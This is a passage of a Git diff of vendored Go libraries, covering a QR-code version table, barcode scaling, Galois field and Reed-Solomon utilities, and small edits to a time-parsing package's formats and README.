&versionInfo{12, M, 22, 6, 36, 2, 37},
|
||||
&versionInfo{12, Q, 26, 4, 20, 6, 21},
|
||||
&versionInfo{12, H, 28, 7, 14, 4, 15},
|
||||
&versionInfo{13, L, 26, 4, 107, 0, 0},
|
||||
&versionInfo{13, M, 22, 8, 37, 1, 38},
|
||||
&versionInfo{13, Q, 24, 8, 20, 4, 21},
|
||||
&versionInfo{13, H, 22, 12, 11, 4, 12},
|
||||
&versionInfo{14, L, 30, 3, 115, 1, 116},
|
||||
&versionInfo{14, M, 24, 4, 40, 5, 41},
|
||||
&versionInfo{14, Q, 20, 11, 16, 5, 17},
|
||||
&versionInfo{14, H, 24, 11, 12, 5, 13},
|
||||
&versionInfo{15, L, 22, 5, 87, 1, 88},
|
||||
&versionInfo{15, M, 24, 5, 41, 5, 42},
|
||||
&versionInfo{15, Q, 30, 5, 24, 7, 25},
|
||||
&versionInfo{15, H, 24, 11, 12, 7, 13},
|
||||
&versionInfo{16, L, 24, 5, 98, 1, 99},
|
||||
&versionInfo{16, M, 28, 7, 45, 3, 46},
|
||||
&versionInfo{16, Q, 24, 15, 19, 2, 20},
|
||||
&versionInfo{16, H, 30, 3, 15, 13, 16},
|
||||
&versionInfo{17, L, 28, 1, 107, 5, 108},
|
||||
&versionInfo{17, M, 28, 10, 46, 1, 47},
|
||||
&versionInfo{17, Q, 28, 1, 22, 15, 23},
|
||||
&versionInfo{17, H, 28, 2, 14, 17, 15},
|
||||
&versionInfo{18, L, 30, 5, 120, 1, 121},
|
||||
&versionInfo{18, M, 26, 9, 43, 4, 44},
|
||||
&versionInfo{18, Q, 28, 17, 22, 1, 23},
|
||||
&versionInfo{18, H, 28, 2, 14, 19, 15},
|
||||
&versionInfo{19, L, 28, 3, 113, 4, 114},
|
||||
&versionInfo{19, M, 26, 3, 44, 11, 45},
|
||||
&versionInfo{19, Q, 26, 17, 21, 4, 22},
|
||||
&versionInfo{19, H, 26, 9, 13, 16, 14},
|
||||
&versionInfo{20, L, 28, 3, 107, 5, 108},
|
||||
&versionInfo{20, M, 26, 3, 41, 13, 42},
|
||||
&versionInfo{20, Q, 30, 15, 24, 5, 25},
|
||||
&versionInfo{20, H, 28, 15, 15, 10, 16},
|
||||
&versionInfo{21, L, 28, 4, 116, 4, 117},
|
||||
&versionInfo{21, M, 26, 17, 42, 0, 0},
|
||||
&versionInfo{21, Q, 28, 17, 22, 6, 23},
|
||||
&versionInfo{21, H, 30, 19, 16, 6, 17},
|
||||
&versionInfo{22, L, 28, 2, 111, 7, 112},
|
||||
&versionInfo{22, M, 28, 17, 46, 0, 0},
|
||||
&versionInfo{22, Q, 30, 7, 24, 16, 25},
|
||||
&versionInfo{22, H, 24, 34, 13, 0, 0},
|
||||
&versionInfo{23, L, 30, 4, 121, 5, 122},
|
||||
&versionInfo{23, M, 28, 4, 47, 14, 48},
|
||||
&versionInfo{23, Q, 30, 11, 24, 14, 25},
|
||||
&versionInfo{23, H, 30, 16, 15, 14, 16},
|
||||
&versionInfo{24, L, 30, 6, 117, 4, 118},
|
||||
&versionInfo{24, M, 28, 6, 45, 14, 46},
|
||||
&versionInfo{24, Q, 30, 11, 24, 16, 25},
|
||||
&versionInfo{24, H, 30, 30, 16, 2, 17},
|
||||
&versionInfo{25, L, 26, 8, 106, 4, 107},
|
||||
&versionInfo{25, M, 28, 8, 47, 13, 48},
|
||||
&versionInfo{25, Q, 30, 7, 24, 22, 25},
|
||||
&versionInfo{25, H, 30, 22, 15, 13, 16},
|
||||
&versionInfo{26, L, 28, 10, 114, 2, 115},
|
||||
&versionInfo{26, M, 28, 19, 46, 4, 47},
|
||||
&versionInfo{26, Q, 28, 28, 22, 6, 23},
|
||||
&versionInfo{26, H, 30, 33, 16, 4, 17},
|
||||
&versionInfo{27, L, 30, 8, 122, 4, 123},
|
||||
&versionInfo{27, M, 28, 22, 45, 3, 46},
|
||||
&versionInfo{27, Q, 30, 8, 23, 26, 24},
|
||||
&versionInfo{27, H, 30, 12, 15, 28, 16},
|
||||
&versionInfo{28, L, 30, 3, 117, 10, 118},
|
||||
&versionInfo{28, M, 28, 3, 45, 23, 46},
|
||||
&versionInfo{28, Q, 30, 4, 24, 31, 25},
|
||||
&versionInfo{28, H, 30, 11, 15, 31, 16},
|
||||
&versionInfo{29, L, 30, 7, 116, 7, 117},
|
||||
&versionInfo{29, M, 28, 21, 45, 7, 46},
|
||||
&versionInfo{29, Q, 30, 1, 23, 37, 24},
|
||||
&versionInfo{29, H, 30, 19, 15, 26, 16},
|
||||
&versionInfo{30, L, 30, 5, 115, 10, 116},
|
||||
&versionInfo{30, M, 28, 19, 47, 10, 48},
|
||||
&versionInfo{30, Q, 30, 15, 24, 25, 25},
|
||||
&versionInfo{30, H, 30, 23, 15, 25, 16},
|
||||
&versionInfo{31, L, 30, 13, 115, 3, 116},
|
||||
&versionInfo{31, M, 28, 2, 46, 29, 47},
|
||||
&versionInfo{31, Q, 30, 42, 24, 1, 25},
|
||||
&versionInfo{31, H, 30, 23, 15, 28, 16},
|
||||
&versionInfo{32, L, 30, 17, 115, 0, 0},
|
||||
&versionInfo{32, M, 28, 10, 46, 23, 47},
|
||||
&versionInfo{32, Q, 30, 10, 24, 35, 25},
|
||||
&versionInfo{32, H, 30, 19, 15, 35, 16},
|
||||
&versionInfo{33, L, 30, 17, 115, 1, 116},
|
||||
&versionInfo{33, M, 28, 14, 46, 21, 47},
|
||||
&versionInfo{33, Q, 30, 29, 24, 19, 25},
|
||||
&versionInfo{33, H, 30, 11, 15, 46, 16},
|
||||
&versionInfo{34, L, 30, 13, 115, 6, 116},
|
||||
&versionInfo{34, M, 28, 14, 46, 23, 47},
|
||||
&versionInfo{34, Q, 30, 44, 24, 7, 25},
|
||||
&versionInfo{34, H, 30, 59, 16, 1, 17},
|
||||
&versionInfo{35, L, 30, 12, 121, 7, 122},
|
||||
&versionInfo{35, M, 28, 12, 47, 26, 48},
|
||||
&versionInfo{35, Q, 30, 39, 24, 14, 25},
|
||||
&versionInfo{35, H, 30, 22, 15, 41, 16},
|
||||
&versionInfo{36, L, 30, 6, 121, 14, 122},
|
||||
&versionInfo{36, M, 28, 6, 47, 34, 48},
|
||||
&versionInfo{36, Q, 30, 46, 24, 10, 25},
|
||||
&versionInfo{36, H, 30, 2, 15, 64, 16},
|
||||
&versionInfo{37, L, 30, 17, 122, 4, 123},
|
||||
&versionInfo{37, M, 28, 29, 46, 14, 47},
|
||||
&versionInfo{37, Q, 30, 49, 24, 10, 25},
|
||||
&versionInfo{37, H, 30, 24, 15, 46, 16},
|
||||
&versionInfo{38, L, 30, 4, 122, 18, 123},
|
||||
&versionInfo{38, M, 28, 13, 46, 32, 47},
|
||||
&versionInfo{38, Q, 30, 48, 24, 14, 25},
|
||||
&versionInfo{38, H, 30, 42, 15, 32, 16},
|
||||
&versionInfo{39, L, 30, 20, 117, 4, 118},
|
||||
&versionInfo{39, M, 28, 40, 47, 7, 48},
|
||||
&versionInfo{39, Q, 30, 43, 24, 22, 25},
|
||||
&versionInfo{39, H, 30, 10, 15, 67, 16},
|
||||
&versionInfo{40, L, 30, 19, 118, 6, 119},
|
||||
&versionInfo{40, M, 28, 18, 47, 31, 48},
|
||||
&versionInfo{40, Q, 30, 34, 24, 34, 25},
|
||||
&versionInfo{40, H, 30, 20, 15, 61, 16},
|
||||
}
|
||||
|
||||
func (vi *versionInfo) totalDataBytes() int {
|
||||
g1Data := int(vi.NumberOfBlocksInGroup1) * int(vi.DataCodeWordsPerBlockInGroup1)
|
||||
g2Data := int(vi.NumberOfBlocksInGroup2) * int(vi.DataCodeWordsPerBlockInGroup2)
|
||||
return (g1Data + g2Data)
|
||||
}
|
||||
|
||||
func (vi *versionInfo) charCountBits(m encodingMode) byte {
|
||||
switch m {
|
||||
case numericMode:
|
||||
if vi.Version < 10 {
|
||||
return 10
|
||||
} else if vi.Version < 27 {
|
||||
return 12
|
||||
}
|
||||
return 14
|
||||
|
||||
case alphaNumericMode:
|
||||
if vi.Version < 10 {
|
||||
return 9
|
||||
} else if vi.Version < 27 {
|
||||
return 11
|
||||
}
|
||||
return 13
|
||||
|
||||
case byteMode:
|
||||
if vi.Version < 10 {
|
||||
return 8
|
||||
}
|
||||
return 16
|
||||
|
||||
case kanjiMode:
|
||||
if vi.Version < 10 {
|
||||
return 8
|
||||
} else if vi.Version < 27 {
|
||||
return 10
|
||||
}
|
||||
return 12
|
||||
default:
|
||||
return 0
|
||||
}
|
||||
}
|
||||
|
||||
func (vi *versionInfo) modulWidth() int {
|
||||
return ((int(vi.Version) - 1) * 4) + 21
|
||||
}
|
||||
|
||||
func (vi *versionInfo) alignmentPatternPlacements() []int {
|
||||
if vi.Version == 1 {
|
||||
return make([]int, 0)
|
||||
}
|
||||
|
||||
first := 6
|
||||
last := vi.modulWidth() - 7
|
||||
space := float64(last - first)
|
||||
count := int(math.Ceil(space/28)) + 1
|
||||
|
||||
result := make([]int, count)
|
||||
result[0] = first
|
||||
result[len(result)-1] = last
|
||||
if count > 2 {
|
||||
step := int(math.Ceil(float64(last-first) / float64(count-1)))
|
||||
if step%2 == 1 {
|
||||
frac := float64(last-first) / float64(count-1)
|
||||
_, x := math.Modf(frac)
|
||||
if x >= 0.5 {
|
||||
frac = math.Ceil(frac)
|
||||
} else {
|
||||
frac = math.Floor(frac)
|
||||
}
|
||||
|
||||
if int(frac)%2 == 0 {
|
||||
step--
|
||||
} else {
|
||||
step++
|
||||
}
|
||||
}
|
||||
|
||||
for i := 1; i <= count-2; i++ {
|
||||
result[i] = last - (step * (count - 1 - i))
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func findSmallestVersionInfo(ecl ErrorCorrectionLevel, mode encodingMode, dataBits int) *versionInfo {
|
||||
dataBits = dataBits + 4 // mode indicator
|
||||
for _, vi := range versionInfos {
|
||||
if vi.Level == ecl {
|
||||
if (vi.totalDataBytes() * 8) >= (dataBits + int(vi.charCountBits(mode))) {
|
||||
return vi
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+134
@@ -0,0 +1,134 @@
|
||||
package barcode
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"image"
|
||||
"image/color"
|
||||
"math"
|
||||
)
|
||||
|
||||
type wrapFunc func(x, y int) color.Color
|
||||
|
||||
type scaledBarcode struct {
|
||||
wrapped Barcode
|
||||
wrapperFunc wrapFunc
|
||||
rect image.Rectangle
|
||||
}
|
||||
|
||||
type intCSscaledBC struct {
|
||||
scaledBarcode
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Content() string {
|
||||
return bc.wrapped.Content()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Metadata() Metadata {
|
||||
return bc.wrapped.Metadata()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) ColorModel() color.Model {
|
||||
return bc.wrapped.ColorModel()
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) Bounds() image.Rectangle {
|
||||
return bc.rect
|
||||
}
|
||||
|
||||
func (bc *scaledBarcode) At(x, y int) color.Color {
|
||||
return bc.wrapperFunc(x, y)
|
||||
}
|
||||
|
||||
func (bc *intCSscaledBC) CheckSum() int {
|
||||
if cs, ok := bc.wrapped.(BarcodeIntCS); ok {
|
||||
return cs.CheckSum()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Scale returns a resized barcode with the given width and height.
|
||||
func Scale(bc Barcode, width, height int) (Barcode, error) {
|
||||
switch bc.Metadata().Dimensions {
|
||||
case 1:
|
||||
return scale1DCode(bc, width, height)
|
||||
case 2:
|
||||
return scale2DCode(bc, width, height)
|
||||
}
|
||||
|
||||
return nil, errors.New("unsupported barcode format")
|
||||
}
|
||||
|
||||
func newScaledBC(wrapped Barcode, wrapperFunc wrapFunc, rect image.Rectangle) Barcode {
|
||||
result := &scaledBarcode{
|
||||
wrapped: wrapped,
|
||||
wrapperFunc: wrapperFunc,
|
||||
rect: rect,
|
||||
}
|
||||
|
||||
if _, ok := wrapped.(BarcodeIntCS); ok {
|
||||
return &intCSscaledBC{*result}
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
func scale2DCode(bc Barcode, width, height int) (Barcode, error) {
|
||||
orgBounds := bc.Bounds()
|
||||
orgWidth := orgBounds.Max.X - orgBounds.Min.X
|
||||
orgHeight := orgBounds.Max.Y - orgBounds.Min.Y
|
||||
|
||||
factor := int(math.Min(float64(width)/float64(orgWidth), float64(height)/float64(orgHeight)))
|
||||
if factor <= 0 {
|
||||
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx%d", orgWidth, orgHeight)
|
||||
}
|
||||
|
||||
offsetX := (width - (orgWidth * factor)) / 2
|
||||
offsetY := (height - (orgHeight * factor)) / 2
|
||||
|
||||
wrap := func(x, y int) color.Color {
|
||||
if x < offsetX || y < offsetY {
|
||||
return color.White
|
||||
}
|
||||
x = (x - offsetX) / factor
|
||||
y = (y - offsetY) / factor
|
||||
if x >= orgWidth || y >= orgHeight {
|
||||
return color.White
|
||||
}
|
||||
return bc.At(x, y)
|
||||
}
|
||||
|
||||
return newScaledBC(
|
||||
bc,
|
||||
wrap,
|
||||
image.Rect(0, 0, width, height),
|
||||
), nil
|
||||
}
|
||||
|
||||
func scale1DCode(bc Barcode, width, height int) (Barcode, error) {
|
||||
orgBounds := bc.Bounds()
|
||||
orgWidth := orgBounds.Max.X - orgBounds.Min.X
|
||||
factor := int(float64(width) / float64(orgWidth))
|
||||
|
||||
if factor <= 0 {
|
||||
return nil, fmt.Errorf("can not scale barcode to an image smaller than %dx1", orgWidth)
|
||||
}
|
||||
offsetX := (width - (orgWidth * factor)) / 2
|
||||
|
||||
wrap := func(x, y int) color.Color {
|
||||
if x < offsetX {
|
||||
return color.White
|
||||
}
|
||||
x = (x - offsetX) / factor
|
||||
|
||||
if x >= orgWidth {
|
||||
return color.White
|
||||
}
|
||||
return bc.At(x, 0)
|
||||
}
|
||||
|
||||
return newScaledBC(
|
||||
bc,
|
||||
wrap,
|
||||
image.Rect(0, 0, width, height),
|
||||
), nil
|
||||
}
|
||||
+57
@@ -0,0 +1,57 @@
|
||||
// Package utils contain some utilities which are needed to create barcodes
|
||||
package utils
|
||||
|
||||
import (
|
||||
"image"
|
||||
"image/color"
|
||||
|
||||
"github.com/boombuler/barcode"
|
||||
)
|
||||
|
||||
type base1DCode struct {
|
||||
*BitList
|
||||
kind string
|
||||
content string
|
||||
}
|
||||
|
||||
type base1DCodeIntCS struct {
|
||||
base1DCode
|
||||
checksum int
|
||||
}
|
||||
|
||||
func (c *base1DCode) Content() string {
|
||||
return c.content
|
||||
}
|
||||
|
||||
func (c *base1DCode) Metadata() barcode.Metadata {
|
||||
return barcode.Metadata{c.kind, 1}
|
||||
}
|
||||
|
||||
func (c *base1DCode) ColorModel() color.Model {
|
||||
return color.Gray16Model
|
||||
}
|
||||
|
||||
func (c *base1DCode) Bounds() image.Rectangle {
|
||||
return image.Rect(0, 0, c.Len(), 1)
|
||||
}
|
||||
|
||||
func (c *base1DCode) At(x, y int) color.Color {
|
||||
if c.GetBit(x) {
|
||||
return color.Black
|
||||
}
|
||||
return color.White
|
||||
}
|
||||
|
||||
func (c *base1DCodeIntCS) CheckSum() int {
|
||||
return c.checksum
|
||||
}
|
||||
|
||||
// New1DCodeIntCheckSum creates a new 1D barcode where the bars are represented by the bits in the bars BitList
|
||||
func New1DCodeIntCheckSum(codeKind, content string, bars *BitList, checksum int) barcode.BarcodeIntCS {
|
||||
return &base1DCodeIntCS{base1DCode{bars, codeKind, content}, checksum}
|
||||
}
|
||||
|
||||
// New1DCode creates a new 1D barcode where the bars are represented by the bits in the bars BitList
|
||||
func New1DCode(codeKind, content string, bars *BitList) barcode.Barcode {
|
||||
return &base1DCode{bars, codeKind, content}
|
||||
}
|
||||
+119
@@ -0,0 +1,119 @@
|
||||
package utils
|
||||
|
||||
// BitList is a list that contains bits
|
||||
type BitList struct {
|
||||
count int
|
||||
data []int32
|
||||
}
|
||||
|
||||
// NewBitList returns a new BitList with the given length
|
||||
// all bits are initialize with false
|
||||
func NewBitList(capacity int) *BitList {
|
||||
bl := new(BitList)
|
||||
bl.count = capacity
|
||||
x := 0
|
||||
if capacity%32 != 0 {
|
||||
x = 1
|
||||
}
|
||||
bl.data = make([]int32, capacity/32+x)
|
||||
return bl
|
||||
}
|
||||
|
||||
// Len returns the number of contained bits
|
||||
func (bl *BitList) Len() int {
|
||||
return bl.count
|
||||
}
|
||||
|
||||
func (bl *BitList) grow() {
|
||||
growBy := len(bl.data)
|
||||
if growBy < 128 {
|
||||
growBy = 128
|
||||
} else if growBy >= 1024 {
|
||||
growBy = 1024
|
||||
}
|
||||
|
||||
nd := make([]int32, len(bl.data)+growBy)
|
||||
copy(nd, bl.data)
|
||||
bl.data = nd
|
||||
}
|
||||
|
||||
// AddBit appends the given bits to the end of the list
|
||||
func (bl *BitList) AddBit(bits ...bool) {
|
||||
for _, bit := range bits {
|
||||
itmIndex := bl.count / 32
|
||||
for itmIndex >= len(bl.data) {
|
||||
bl.grow()
|
||||
}
|
||||
bl.SetBit(bl.count, bit)
|
||||
bl.count++
|
||||
}
|
||||
}
|
||||
|
||||
// SetBit sets the bit at the given index to the given value
|
||||
func (bl *BitList) SetBit(index int, value bool) {
|
||||
itmIndex := index / 32
|
||||
itmBitShift := 31 - (index % 32)
|
||||
if value {
|
||||
bl.data[itmIndex] = bl.data[itmIndex] | 1<<uint(itmBitShift)
|
||||
} else {
|
||||
bl.data[itmIndex] = bl.data[itmIndex] & ^(1 << uint(itmBitShift))
|
||||
}
|
||||
}
|
||||
|
||||
// GetBit returns the bit at the given index
|
||||
func (bl *BitList) GetBit(index int) bool {
|
||||
itmIndex := index / 32
|
||||
itmBitShift := 31 - (index % 32)
|
||||
return ((bl.data[itmIndex] >> uint(itmBitShift)) & 1) == 1
|
||||
}
|
||||
|
||||
// AddByte appends all 8 bits of the given byte to the end of the list
|
||||
func (bl *BitList) AddByte(b byte) {
|
||||
for i := 7; i >= 0; i-- {
|
||||
bl.AddBit(((b >> uint(i)) & 1) == 1)
|
||||
}
|
||||
}
|
||||
|
||||
// AddBits appends the last (LSB) 'count' bits of 'b' the the end of the list
|
||||
func (bl *BitList) AddBits(b int, count byte) {
|
||||
for i := int(count) - 1; i >= 0; i-- {
|
||||
bl.AddBit(((b >> uint(i)) & 1) == 1)
|
||||
}
|
||||
}
|
||||
|
||||
// GetBytes returns all bits of the BitList as a []byte
|
||||
func (bl *BitList) GetBytes() []byte {
|
||||
len := bl.count >> 3
|
||||
if (bl.count % 8) != 0 {
|
||||
len++
|
||||
}
|
||||
result := make([]byte, len)
|
||||
for i := 0; i < len; i++ {
|
||||
shift := (3 - (i % 4)) * 8
|
||||
result[i] = (byte)((bl.data[i/4] >> uint(shift)) & 0xFF)
|
||||
}
|
||||
return result
|
||||
}
|
||||
|
||||
// IterateBytes iterates through all bytes contained in the BitList
|
||||
func (bl *BitList) IterateBytes() <-chan byte {
|
||||
res := make(chan byte)
|
||||
|
||||
go func() {
|
||||
c := bl.count
|
||||
shift := 24
|
||||
i := 0
|
||||
for c > 0 {
|
||||
res <- byte((bl.data[i] >> uint(shift)) & 0xFF)
|
||||
shift -= 8
|
||||
if shift < 0 {
|
||||
shift = 24
|
||||
i++
|
||||
}
|
||||
c -= 8
|
||||
}
|
||||
close(res)
|
||||
}()
|
||||
|
||||
return res
|
||||
}
|
||||
+65
@@ -0,0 +1,65 @@
|
||||
package utils
|
||||
|
||||
// GaloisField encapsulates galois field arithmetics
|
||||
type GaloisField struct {
|
||||
Size int
|
||||
Base int
|
||||
ALogTbl []int
|
||||
LogTbl []int
|
||||
}
|
||||
|
||||
// NewGaloisField creates a new galois field
|
||||
func NewGaloisField(pp, fieldSize, b int) *GaloisField {
|
||||
result := new(GaloisField)
|
||||
|
||||
result.Size = fieldSize
|
||||
result.Base = b
|
||||
result.ALogTbl = make([]int, fieldSize)
|
||||
result.LogTbl = make([]int, fieldSize)
|
||||
|
||||
x := 1
|
||||
for i := 0; i < fieldSize; i++ {
|
||||
result.ALogTbl[i] = x
|
||||
x = x * 2
|
||||
if x >= fieldSize {
|
||||
x = (x ^ pp) & (fieldSize - 1)
|
||||
}
|
||||
}
|
||||
|
||||
for i := 0; i < fieldSize; i++ {
|
||||
result.LogTbl[result.ALogTbl[i]] = int(i)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func (gf *GaloisField) Zero() *GFPoly {
|
||||
return NewGFPoly(gf, []int{0})
|
||||
}
|
||||
|
||||
// AddOrSub add or substract two numbers
|
||||
func (gf *GaloisField) AddOrSub(a, b int) int {
|
||||
return a ^ b
|
||||
}
|
||||
|
||||
// Multiply multiplys two numbers
|
||||
func (gf *GaloisField) Multiply(a, b int) int {
|
||||
if a == 0 || b == 0 {
|
||||
return 0
|
||||
}
|
||||
return gf.ALogTbl[(gf.LogTbl[a]+gf.LogTbl[b])%(gf.Size-1)]
|
||||
}
|
||||
|
||||
// Divide divides two numbers
|
||||
func (gf *GaloisField) Divide(a, b int) int {
|
||||
if b == 0 {
|
||||
panic("divide by zero")
|
||||
} else if a == 0 {
|
||||
return 0
|
||||
}
|
||||
return gf.ALogTbl[(gf.LogTbl[a]-gf.LogTbl[b])%(gf.Size-1)]
|
||||
}
|
||||
|
||||
func (gf *GaloisField) Invers(num int) int {
|
||||
return gf.ALogTbl[(gf.Size-1)-gf.LogTbl[num]]
|
||||
}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
package utils
|
||||
|
||||
type GFPoly struct {
|
||||
gf *GaloisField
|
||||
Coefficients []int
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Degree() int {
|
||||
return len(gp.Coefficients) - 1
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Zero() bool {
|
||||
return gp.Coefficients[0] == 0
|
||||
}
|
||||
|
||||
// GetCoefficient returns the coefficient of x ^ degree
|
||||
func (gp *GFPoly) GetCoefficient(degree int) int {
|
||||
return gp.Coefficients[gp.Degree()-degree]
|
||||
}
|
||||
|
||||
func (gp *GFPoly) AddOrSubstract(other *GFPoly) *GFPoly {
|
||||
if gp.Zero() {
|
||||
return other
|
||||
} else if other.Zero() {
|
||||
return gp
|
||||
}
|
||||
smallCoeff := gp.Coefficients
|
||||
largeCoeff := other.Coefficients
|
||||
if len(smallCoeff) > len(largeCoeff) {
|
||||
largeCoeff, smallCoeff = smallCoeff, largeCoeff
|
||||
}
|
||||
sumDiff := make([]int, len(largeCoeff))
|
||||
lenDiff := len(largeCoeff) - len(smallCoeff)
|
||||
copy(sumDiff, largeCoeff[:lenDiff])
|
||||
for i := lenDiff; i < len(largeCoeff); i++ {
|
||||
sumDiff[i] = int(gp.gf.AddOrSub(int(smallCoeff[i-lenDiff]), int(largeCoeff[i])))
|
||||
}
|
||||
return NewGFPoly(gp.gf, sumDiff)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) MultByMonominal(degree int, coeff int) *GFPoly {
|
||||
if coeff == 0 {
|
||||
return gp.gf.Zero()
|
||||
}
|
||||
size := len(gp.Coefficients)
|
||||
result := make([]int, size+degree)
|
||||
for i := 0; i < size; i++ {
|
||||
result[i] = int(gp.gf.Multiply(int(gp.Coefficients[i]), int(coeff)))
|
||||
}
|
||||
return NewGFPoly(gp.gf, result)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Multiply(other *GFPoly) *GFPoly {
|
||||
if gp.Zero() || other.Zero() {
|
||||
return gp.gf.Zero()
|
||||
}
|
||||
aCoeff := gp.Coefficients
|
||||
aLen := len(aCoeff)
|
||||
bCoeff := other.Coefficients
|
||||
bLen := len(bCoeff)
|
||||
product := make([]int, aLen+bLen-1)
|
||||
for i := 0; i < aLen; i++ {
|
||||
ac := int(aCoeff[i])
|
||||
for j := 0; j < bLen; j++ {
|
||||
bc := int(bCoeff[j])
|
||||
product[i+j] = int(gp.gf.AddOrSub(int(product[i+j]), gp.gf.Multiply(ac, bc)))
|
||||
}
|
||||
}
|
||||
return NewGFPoly(gp.gf, product)
|
||||
}
|
||||
|
||||
func (gp *GFPoly) Divide(other *GFPoly) (quotient *GFPoly, remainder *GFPoly) {
|
||||
quotient = gp.gf.Zero()
|
||||
remainder = gp
|
||||
fld := gp.gf
|
||||
denomLeadTerm := other.GetCoefficient(other.Degree())
|
||||
inversDenomLeadTerm := fld.Invers(int(denomLeadTerm))
|
||||
for remainder.Degree() >= other.Degree() && !remainder.Zero() {
|
||||
degreeDiff := remainder.Degree() - other.Degree()
|
||||
scale := int(fld.Multiply(int(remainder.GetCoefficient(remainder.Degree())), inversDenomLeadTerm))
|
||||
term := other.MultByMonominal(degreeDiff, scale)
|
||||
itQuot := NewMonominalPoly(fld, degreeDiff, scale)
|
||||
quotient = quotient.AddOrSubstract(itQuot)
|
||||
remainder = remainder.AddOrSubstract(term)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func NewMonominalPoly(field *GaloisField, degree int, coeff int) *GFPoly {
|
||||
if coeff == 0 {
|
||||
return field.Zero()
|
||||
}
|
||||
result := make([]int, degree+1)
|
||||
result[0] = coeff
|
||||
return NewGFPoly(field, result)
|
||||
}
|
||||
|
||||
func NewGFPoly(field *GaloisField, coefficients []int) *GFPoly {
|
||||
for len(coefficients) > 1 && coefficients[0] == 0 {
|
||||
coefficients = coefficients[1:]
|
||||
}
|
||||
return &GFPoly{field, coefficients}
|
||||
}
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"sync"
|
||||
)
|
||||
|
||||
type ReedSolomonEncoder struct {
|
||||
gf *GaloisField
|
||||
polynomes []*GFPoly
|
||||
m *sync.Mutex
|
||||
}
|
||||
|
||||
func NewReedSolomonEncoder(gf *GaloisField) *ReedSolomonEncoder {
|
||||
return &ReedSolomonEncoder{
|
||||
gf, []*GFPoly{NewGFPoly(gf, []int{1})}, new(sync.Mutex),
|
||||
}
|
||||
}
|
||||
|
||||
func (rs *ReedSolomonEncoder) getPolynomial(degree int) *GFPoly {
|
||||
rs.m.Lock()
|
||||
defer rs.m.Unlock()
|
||||
|
||||
if degree >= len(rs.polynomes) {
|
||||
last := rs.polynomes[len(rs.polynomes)-1]
|
||||
for d := len(rs.polynomes); d <= degree; d++ {
|
||||
next := last.Multiply(NewGFPoly(rs.gf, []int{1, rs.gf.ALogTbl[d-1+rs.gf.Base]}))
|
||||
rs.polynomes = append(rs.polynomes, next)
|
||||
last = next
|
||||
}
|
||||
}
|
||||
return rs.polynomes[degree]
|
||||
}
|
||||
|
||||
func (rs *ReedSolomonEncoder) Encode(data []int, eccCount int) []int {
|
||||
generator := rs.getPolynomial(eccCount)
|
||||
info := NewGFPoly(rs.gf, data)
|
||||
info = info.MultByMonominal(eccCount, 1)
|
||||
_, remainder := info.Divide(generator)
|
||||
|
||||
result := make([]int, eccCount)
|
||||
numZero := int(eccCount) - len(remainder.Coefficients)
|
||||
copy(result[numZero:], remainder.Coefficients)
|
||||
return result
|
||||
}
|
||||
+19
@@ -0,0 +1,19 @@
|
||||
package utils
|
||||
|
||||
// RuneToInt converts a rune between '0' and '9' to an integer between 0 and 9
|
||||
// If the rune is outside of this range -1 is returned.
|
||||
func RuneToInt(r rune) int {
|
||||
if r >= '0' && r <= '9' {
|
||||
return int(r - '0')
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// IntToRune converts a digit 0 - 9 to the rune '0' - '9'. If the given int is outside
|
||||
// of this range 'F' is returned!
|
||||
func IntToRune(i int) rune {
|
||||
if i >= 0 && i <= 9 {
|
||||
return rune(i + '0')
|
||||
}
|
||||
return 'F'
|
||||
}
|
||||
-3
@@ -27,9 +27,6 @@ now.BeginningOfMonth() // 2013-11-01 00:00:00 Fri
|
||||
now.BeginningOfQuarter() // 2013-10-01 00:00:00 Tue
|
||||
now.BeginningOfYear() // 2013-01-01 00:00:00 Tue
|
||||
|
||||
now.WeekStartDay = time.Monday // Set Monday as first day, default is Sunday
|
||||
now.BeginningOfWeek() // 2013-11-18 00:00:00 Mon
|
||||
|
||||
now.EndOfMinute() // 2013-11-18 17:51:59.999999999 Mon
|
||||
now.EndOfHour() // 2013-11-18 17:59:59.999999999 Mon
|
||||
now.EndOfDay() // 2013-11-18 23:59:59.999999999 Mon
|
||||
|
||||
+1
-1
@@ -19,7 +19,7 @@ var TimeFormats = []string{
|
||||
"2006", "2006-1", "2006-1-2", "2006-1-2 15", "2006-1-2 15:4", "2006-1-2 15:4:5", "1-2",
|
||||
"15:4:5", "15:4", "15",
|
||||
"15:4:5 Jan 2, 2006 MST", "2006-01-02 15:04:05.999999999 -0700 MST", "2006-01-02T15:04:05-07:00",
|
||||
"2006.1.2", "2006.1.2 15:04:05", "2006.01.02", "2006.01.02 15:04:05",
|
||||
"2006.1.2", "2006.1.2 15:04:05", "2006.01.02", "2006.01.02 15:04:05", "2006.01.02 15:04:05.999999999",
|
||||
"1/2/2006", "1/2/2006 15:4:5", "2006/01/02", "2006/01/02 15:04:05",
|
||||
time.ANSIC, time.UnixDate, time.RubyDate, time.RFC822, time.RFC822Z, time.RFC850,
|
||||
time.RFC1123, time.RFC1123Z, time.RFC3339, time.RFC3339Nano,
|
||||
|
||||
+3
-4
@@ -152,9 +152,9 @@ func (now *Now) Parse(strs ...string) (t time.Time, err error) {
|
||||
var (
|
||||
setCurrentTime bool
|
||||
parseTime []int
|
||||
currentTime = []int{now.Nanosecond(), now.Second(), now.Minute(), now.Hour(), now.Day(), int(now.Month()), now.Year()}
|
||||
currentLocation = now.Location()
|
||||
onlyTimeInStr = true
|
||||
currentTime = formatTimeToList(now.Time)
|
||||
